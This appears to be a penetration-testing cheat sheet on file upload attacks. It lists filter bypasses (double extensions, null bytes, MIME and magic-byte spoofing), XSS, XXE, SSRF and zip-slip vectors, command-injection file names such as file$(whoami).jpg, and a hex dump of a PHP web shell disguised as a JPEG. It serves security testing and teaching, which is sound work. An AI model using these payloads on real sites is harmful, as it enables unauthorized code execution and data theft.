File Upload Attacks

Upload Scanner - Burp Extension

Absent Validation

Vulnerability identification

<?php echo "Hello HTB";?> to test.php

Read local files

Web Shells

Web Shell

PHP disabled_functions

File Type Check - Client-Side Validation

Back-end Request Modification

Disabling Front-end Validation

Tip: You may also do the same to remove accept=".jpg,.jpeg,.png", which should make selecting the PHP shell easier in the file selection dialog, though this is not mandatory, as mentioned earlier.

Blacklist Filters

Blacklisting Extensions

Tip: The comparison above is also case-sensitive, and is only considering lowercase extensions. In Windows Servers, file names are case insensitive, so we may try uploading a php with a mixed-case (e.g. pHp), which may bypass the blacklist as well, and should still execute as a PHP script.

Bypass File Extension Exclusion Lists

Variations of PHP file extensions

Variation of ASP.NET file extensions

Variations of Java file extensions

Various other file extension to test for

Fuzzing Extensions

PHP List

ASP extensions

Web extensions

More extensions

What extension is allowed ?

Upload a file, once this request is captured, send it to the Intruder. Click on "Payloads" and select the "Sniper" attack type.

Click the "Positions" tab now, find the filename and "Add §" to the extension. It should look like so:

Use /usr/share/wordlists/dirb/extensions_common.txt

Uncheck url-encoding

Run the attack

Search for Non-Blacklisted Extensions - Look Content Length

Not all extensions will work with all web server configurations, so we may need to try several extensions to get one that successfully executes PHP code.

Type of attack based on extension

ASP Applications:

.asa -> potential remote code execution

.asax -> potential remote code execution

.asp -> potential remote code execution .aspx -> potential remote code execution

Java Applications:

.jsp -> potential remote code execution

.jspx -> potential remote code execution

Perl Applications:

.pl -> potential remote code execution

Python Applications:

.py -> potential remote code execution

Ruby Applications:

.rb -> potential remote code execution

Other files that should be restricted for most applications:

.bat

.cgi .exe

.htm -> potential XSS

.html -> potential XSS

.jar

.rar

.shtml

.svg -> potential XSS

.swf -> potential XSS

.tar

.zip

.cer -> potential XSS

.hxt -> potential XSS

.stm -> potential XSS

Whitelist Filters

Double Extensions

Rename it

shell.jpg.php

shell.phar.jpeg

exploit%2Ephp

exploit.asp;.jpg or exploit.asp%00.jpg

Fuzz the upload form with This Wordlist to find what extensions are whitelisted by the upload form

Only consider the final file extension, as it uses (^.*\.) to match everything up to the last (.), and then uses ($) at the end to only match extensions that end the file name

Insecure configuration:

/etc/apache2/mods-enabled/php7.4.conf

shell.php.jpg should pass the earlier whitelist test as it ends with (.jpg), and it would be able to execute PHP code due to the above misconfiguration, as it contains (.php) in its name.

The web application may still utilize a blacklist to deny requests containing PHP extensions. Try to fuzz the upload form with the PHP Wordlist to find what extensions are blacklisted by the upload form.

Bypass

1️⃣ Rename `shell.php` to `shell.jpg`.

2️⃣ Upload the file and intercept the request.

3️⃣ Modify the filename to `shell.jpg.php`.

4️⃣ Change the Content-Type to `application/x-httpd-php`.

5️⃣ Upload succeeds, and the file gets executed as PHP!

Capitalize the file extension

Obfuscationg file extension

Character Injection

We can inject several characters before or after the final extension to cause the web application to misinterpret the filename and execute the uploaded file as a PHP script.

The following are some of the characters we may try injecting:

  • %20

  • %0a

  • %00

  • %0d0a

  • /

  • .\

  • .

  • :

Null Byte

shell.php%00.jpg works with PHP servers with version 5.X or earlier

Windows server: injecting a colon (:) before the allowed file extension (e.g. shell.aspx:.jpg), which should also write the file as (shell.aspx)

exploit.asp;.jpg or exploit.asp%00.jpg

Then, fuzz extensions

wordlist.txt

Add .phar et .php8 to the list

New wordlist

Type Filters

Content-Type

Fuzz Content-Type header:

Only images are allowed - reduces the wordlist to 45 types only (compared to around 700 originally):

Intercept our upload request and change the Content-Type header to it:

Also try with:

Note: A file upload HTTP request has two Content-Type headers, one for the attached file (at the bottom), and one for the full request (at the top). We usually need to modify the file's Content-Type header, but in some cases the request will only contain the main Content-Type header (e.g. if the uploaded content was sent as POST data), in which case we will need to modify the main Content-Type header.

MIME-Type

Start with GIF

PHP - Example testing the MIME type of an uploaded file:

Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters:

GIF not allowed - Upload a jpeg/PNG file, change the content without removing file signature

Magic Bytes

See Magic Numbers

These are the magic bytes for a normal image (PNG) in HEX:

File Upload Validation Bypass

File Upload Path Traversal

Executable can be uploaded but restriction prevents execution. Try uploading to another folder

Other vectors of attacks

File Upload Bypass to CSPT

Bypass content length validation

Small payload

PDF Converter - Libre Office

Upload .odt file - Download generated pdf and analyse it with exiftool

Limited File Uploads

XSS

XSS

Try to inject xss in file name. For example:

Comment

SVG

alert.svg

domain.svg

HTB.svg

Other payload

SVG - Keylogger

SVG - Open Redirect

SVG - XXE - X-Requested-With: XMLHttpRequest

poc.svg

Read source code in PHP web applications

XML data is not unique to SVG images, as it is also utilized by many types of documents, like PDF, Word Documents, PowerPoint Documents, among many others.

XXE vulnerability to enumerate the internally available services or even call private APIs to perform private actions

XXE / XSLT

XML - XSS

HTML files

SSRF

PDFs, SVGs, or even Office documents. If the backend processes these files, SSRF might be hiding here

SSRF

PDF Generators

DoS

  • Decompression Bomb

  • Pixel Flood

Other Upload Attacks

In images

Information Leakage / Metadata

Check for software version, GPS location, username, etc.

SVG File

Hosts that process SVG can potentially be vulnerable to SSRF, LFI, XSS, RCE because of the rich feature set of SVG

Metadata

Exiftool

Content-Type

Change content-type to text/html

Add the malicious javascript code at the bottom of the image content

ImageMagick ?

test.jpeg

Others

XXE in XMP metadata of JPEG file

https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf

Injections in File Name

Name a file file$(whoami).jpg or file`whoami`.jpg or file.jpg||whoami

Command Injection

XSS payload in the file name (e.g. <script>alert(window.origin);</script>), which would get executed on the target's machine if the file name is displayed to them. We may also inject an SQL query in the file name (e.g. file';select+sleep(5);--.jpg), which may lead to an SQL injection if the file name is insecurely used in an SQL query.

XSS

.htaccess

Web shell via Path Traveral

Zip file

Example 1

Example 2

Zip Slip

DOCX/XLSX (Excel)/PPTX - Office Files - XXE

Payload

https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf

PDF Files

SSRF ?

Reveal Real IP adress - Bypass WAF etc.

Create a PDF file with Canary Token

Upload and visit the file. You will receive an email with the real IP. Try to access the server using the real IP. If it works, you can bypass WAF, CDN, etc.

XSS in PDF Files

PoC:

Also Check Payload Part

Tools

Using malicious pdf payloads, check if the backend made a request from inside. If so, test multiple SSRF paths:

SSRF

Payload

XSS PDF: https://dr34m14.github.io/dr34m14/payloads/js_injected_xss.pdf

ImageMagick ?

pdf.js - CVE-2024-4367

File read

Malicious PDF File Used As Delivery Mechanism

php inside pdf

bad.pdf.php

Log4Shell

XXE in PDF

https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf

ImageMagick

Right to left override

Bind and Reverse Shell

Magic Number

Add four "A" on the first line of shell.php.

hexeditor shell.php

Change the first 4 bytes "41 41 41 41" to "FF D8 FF DB" (jpeg magic number)

Result:

00000000 FF D8 FF DB 3C 3F 70 68 70 20 73 79 73 74 65 6D <?php system 00000010 28 24 5F 47 45 54 5B 63 6D 64 5D 29 3B 20 3F 3E ET[cmd]); ?> 00000020 0A

Save. Verification: file shell.php : shell.php: JPEG image data

Magic numbers list:

Uploading files using PUT

HTTP Verb Tampering

If appropriate defenses aren't in place, this can provide an alternative means of uploading malicious files, even when an upload function isn't available via the web interface.

Eicar files - AV Testing

Payloads

Tools

Resources

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Last updated